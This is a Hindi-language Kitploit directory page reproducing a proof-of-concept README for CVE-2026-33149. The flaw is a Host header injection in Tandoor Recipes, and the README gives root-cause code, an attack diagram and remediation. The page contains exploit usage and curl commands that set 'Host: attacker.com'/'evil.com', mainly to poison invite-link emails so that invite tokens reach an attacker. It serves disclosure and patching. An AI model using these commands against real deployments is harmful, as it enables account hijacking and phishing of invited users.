Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-33149-PoC — CVE-2026-33149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में एक Host header injection जो इनवाइट लिंक पॉइज़निंग और कैश पॉइज़निंग को सक्षम बनाता है। इसमें होस्ट स्वीकृति, पेजिनेशन, स्कीमा और इनवाइट पॉइज़निंग के लिए मॉड्यूल शामिल हैं। | Kitploit
उपकरण/GitHubGitHub/filipegaudard/cve-2026-33149-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणफिशिंगवेब सुरक्षापेनिट्रेशन टेस्टिंग
GitHubfilipegaudard/cve-2026-33149-poc

CVE-2026-33149-PoC

CVE-2026-33149 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, Tandoor Recipes में एक Host header injection जो इनवाइट लिंक पॉइज़निंग और कैश पॉइज़निंग को सक्षम बनाता है। इसमें होस्ट स्वीकृति, पेजिनेशन, स्कीमा और इनवाइट पॉइज़निंग के लिए मॉड्यूल शामिल हैं।

रिपॉजिटरी देखें
95 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-33149 — Tandoor Recipes में होस्ट हेडर इंजेक्शन

CVE-2026-33149 GHSA CVSS 8.1 CWE-644

Affected Version Responsible Disclosure


सारांश

Tandoor Recipes settings.py में डिफ़ॉल्ट रूप से ALLOWED_HOSTS = '*' सेट करता है, जिससे Django बिना किसी सत्यापन के HTTP Host हेडर में को स्वीकार कर लेता है। एप्लिकेशन कई सुरक्षा-संवेदनशील संदर्भों में पूर्ण URL उत्पन्न करने के लिए का उपयोग करता है। एक हमलावर जो निर्मित हेडर के साथ अनुरोध भेज सकता है, सर्वर द्वारा उत्पन्न सभी URL को हमलावर-नियंत्रित डोमेन पर पुनर्निर्देशित कर सकता है।

किसी भी मान
request.build_absolute_uri()
Host

सबसे गंभीर प्रभाव इनवाइट लिंक पॉइज़निंग है: जब कोई व्यवस्थापक उपयोगकर्ता इनवाइट बनाता है, तो सर्वर द्वारा भेजे गए ईमेल में हमलावर के डोमेन की ओर इशारा करने वाला लिंक होता है। पीड़ित एक वैध दिखने वाले ईमेल पर क्लिक करता है, इनवाइट टोकन बाहर निकाल लिया जाता है, और हमलावर इसका उपयोग खाता प्रावधान प्रवाह को हाईजैक करने के लिए करता है।

भेद्यता विवरण

फ़ील्डमान
CVE IDCVE-2026-33149
GHSAGHSA-x636-4jx6-xc4w
CWECWE-644 — स्क्रिप्टिंग सिंटैक्स के लिए HTTP हेडर का अनुचित न्यूट्रलाइज़ेशन
CVSS v3.18.1 HIGH — AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:H/A:N
प्रभावित संस्करणTandoor Recipes ≤ 2.5.3
विक्रेताTandoorRecipes/recipes

MITRE ATT&CK मैपिंग

तकनीक IDनामप्रासंगिकता
T1557Adversary-in-the-Middleट्रैफ़िक पुनर्निर्देशित करने के लिए सर्वर-जनित URL में हेरफेर
T1566.002Phishing: Spearphishing Linkपॉइज़न किया गया इनवाइट ईमेल हमलावर-नियंत्रित लिंक रखता है

मूल कारण विश्लेषण

1. वाइल्डकार्ड ALLOWED_HOSTS

फ़ाइल: recipes/settings.py:118

root@kitploit:~
ALLOWED_HOSTS = extract_comma_list('ALLOWED_HOSTS', '*')  # default: wildcard

Django का ALLOWED_HOSTS एक सुरक्षा उपाय है जो Host हेडर को व्हाइटलिस्ट के विरुद्ध सत्यापित करता है। वाइल्डकार्ड '*' इस सत्यापन को पूरी तरह से अक्षम कर देता है, जिससे कोई भी मनमाना मान स्वीकार हो जाता है।

2. इनवाइट ईमेल में असुरक्षित URL निर्माण

फ़ाइल: cookbook/serializer.py:1852-1853

root@kitploit:~
message += _('Click the following link to activate your account: ') + self.context[
    'request'].build_absolute_uri(
    reverse('view_invite', args=[str(obj.uuid)])
) + '\n\n'

request.build_absolute_uri() request.get_host() का उपयोग करके URL बनाता है, जो ALLOWED_HOSTS द्वारा प्रतिबंधित न होने पर कच्चा Host हेडर मान लौटाता है। इनवाइट UUID — एक गुप्त टोकन — उस URL में एम्बेडेड होता है जो अब हमलावर की ओर इशारा करता है।

3. अतिरिक्त प्रभावित सतहें

  • API पेजिनेशन — DRF पेजिनेशन क्लासेस next/previous URL के लिए build_absolute_uri() का उपयोग करती हैं
  • OpenAPI स्कीमा — स्कीमा जनरेटर सर्वर URL के लिए इसका उपयोग करता है
  • कैश पॉइज़निंग — कैशिंग प्रॉक्सी वाले डिप्लॉयमेंट में, एक ही अनुरोध से सभी उपयोगकर्ताओं के लिए पॉइज़न किए गए URL परोसे जाने का जोखिम

हमले का प्रवाह

root@kitploit:~
┌──────────┐     ① निर्मित अनुरोध         ┌─────────────────┐
│ हमलावर   │ ──────────────────────────────→│  Tandoor सर्वर  │
│          │   Host: attacker.com           │  ALLOWED_HOSTS=*│
└──────────┘                                └────────┬────────┘
                                                     │
                                          ② build_absolute_uri()
                                             "attacker.com" का उपयोग करता है
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │  SMTP सर्वर    │
                                            └────────┬───────┘
                                                     │
                                       ③ पॉइज़न लिंक वाला ईमेल:
                                       http://attacker.com/invite/<uuid>
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │    पीड़ित      │
                                            │  (लिंक पर क्लिक)│
                                            └────────┬───────┘
                                                     │
                                          ④ UUID हमलावर को भेजा गया
                                                     │
                                                     ▼
                                            ┌────────────────┐
                                            │   हमलावर       │
                                            │ वास्तविक सर्वर │
                                            │ पर UUID का उपयोग│
                                            └────────────────┘

प्रूफ ऑफ कॉन्सेप्ट

आवश्यकताएँ

  • Python 3.8+
  • requests लाइब्रेरी
root@kitploit:~
pip install requests

उपयोग

root@kitploit:~
# बेसिक प्रमाणीकरण के साथ सभी सत्यापन मॉड्यूल चलाएँ
python3 poc.py --target http://localhost:8085 \
               --basic-auth admin:password \
               --attacker evil.com \
               --module all

# सत्र कुकीज़ के साथ सभी मॉड्यूल चलाएँ
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module all

# केवल इनवाइट लिंक पॉइज़निंग
python3 poc.py --target http://target:8085 \
               --session <sessionid> \
               --csrf <csrftoken> \
               --attacker evil.com \
               --module invite \
               --email [email protected] \
               --group-id 1

मॉड्यूल

मॉड्यूलविवरण
host-acceptसत्यापित करता है कि लक्ष्य मनमाना Host हेडर स्वीकार करता है (ALLOWED_HOSTS = '*')
paginationपुष्टि करता है कि API पेजिनेशन URL इंजेक्ट किए गए डोमेन को दर्शाते हैं
schemaपुष्टि करता है कि OpenAPI स्कीमा सर्वर URL इंजेक्ट किए गए डोमेन को दर्शाते हैं
inviteपॉइज़न इनवाइट लिंक बनाता है — प्राथमिक हमला वेक्टर
allसभी मॉड्यूल क्रमिक रूप से चलाता है

मैनुअल सत्यापन (curl)

1. होस्ट हेडर स्वीकृति

root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" \
  http://TARGET:8085/api/user/ \
  -H "Host: attacker.com" \
  -u "admin:password"
# अपेक्षित: 200 (असुरक्षित) | 400 (पैच किया गया)

2. पेजिनेशन URL प्रतिबिंब

root@kitploit:~
curl -s "http://TARGET:8085/api/recipe/?page_size=1" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" \
  -H "Accept: application/json"
# अपेक्षित: {"next": "http://evil.com/api/recipe/?page=2&page_size=1", ...}

3. स्कीमा URL प्रतिबिंब

root@kitploit:~
curl -s http://TARGET:8085/api/schema/ \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "Host: evil.com" | grep -o "http://[^ \"]*" | head -3
# अपेक्षित: http://evil.com/...

4. इनवाइट लिंक पॉइज़निंग

root@kitploit:~
curl -s http://TARGET:8085/api/invite-link/ \
  -X POST \
  -H "Content-Type: application/json" \
  -H "Cookie: sessionid=SESSION; csrftoken=CSRF" \
  -H "X-CSRFToken: CSRF" \
  -H "Host: attacker.com" \
  -d '{"email":"[email protected]","group":{"id":1},"valid_until":"2027-01-01"}'
# पीड़ित को ईमेल मिलता है: "Click: http://attacker.com/invite/<uuid>"

प्रभाव

प्रभाव क्षेत्रविवरणगंभीरता
इनवाइट टोकन हाईजैकहमलावर पॉइज़न ईमेल लिंक के माध्यम से इनवाइट UUID कैप्चर करता है, खाता प्रावधान को हाईजैक करता हैगंभीर
क्रेडेंशियल फ़िशिंगपीड़ित वैध पंजीकरण पृष्ठ की उम्मीद करते हुए हमलावर-नियंत्रित डोमेन पर पहुँचता हैउच्च
कैश पॉइज़निंगकैशिंग प्रॉक्सी वाले डिप्लॉयमेंट में, एक पॉइज़न प्रतिक्रिया सभी उपयोगकर्ताओं के लिए कैश को दूषित कर देती हैउच्च
API क्लाइंट गलत दिशापेजिनेशन और स्कीमा URL API उपभोक्ताओं को हमलावर इंफ्रास्ट्रक्चर पर पुनर्निर्देशित करते हैंमध्यम

उपचार

तत्काल समाधान

अपने वैध होस्टनामों को स्पष्ट रूप से सूचीबद्ध करने के लिए ALLOWED_HOSTS सेट करें:

root@kitploit:~
# docker-compose.yml या .env
ALLOWED_HOSTS=recipes.yourdomain.com,localhost

गहराई में सुरक्षा

  1. रिवर्स प्रॉक्सी सत्यापन — Django तक पहुँचने से पहले अप्रत्याशित Host हेडर वाले अनुरोधों को अस्वीकार करने के लिए Nginx/Apache कॉन्फ़िगर करें
  2. USE_X_FORWARDED_HOST = False — सुनिश्चित करें कि Django अविश्वसनीय स्रोतों से X-Forwarded-Host पर भरोसा न करे (डिफ़ॉल्ट False है)
  3. SMTP लिंक सख्तीकरण — request.build_absolute_uri() पर निर्भर रहने के बजाय ईमेल लिंक निर्माण के लिए स्पष्ट SITE_URL कॉन्फ़िगरेशन का उपयोग करें

संदर्भ

  • GHSA-x636-4jx6-xc4w
  • CVE-2026-33149
  • CWE-644: HTTP हेडर का अनुचित न्यूट्रलाइज़ेशन
  • Django ALLOWED_HOSTS दस्तावेज़ीकरण
  • MITRE ATT&CK T1557 — Adversary-in-the-Middle
  • MITRE ATT&CK T1566.002 — Phishing: Spearphishing Link

अस्वीकरण

यह प्रूफ ऑफ कॉन्सेप्ट केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। कंप्यूटर सिस्टम तक अनधिकृत पहुँच अवैध है। लेखक इस उपकरण के दुरुपयोग के लिए कोई दायित्व नहीं मानता है।


लेखक

Filipe Gaudard — आक्रामक सुरक्षा शोधकर्ता | eWPT | eWPTx

  • GitHub: @FilipeGaudard
  • LinkedIn: Filipe Gaudard
टूल डाउनलोड करें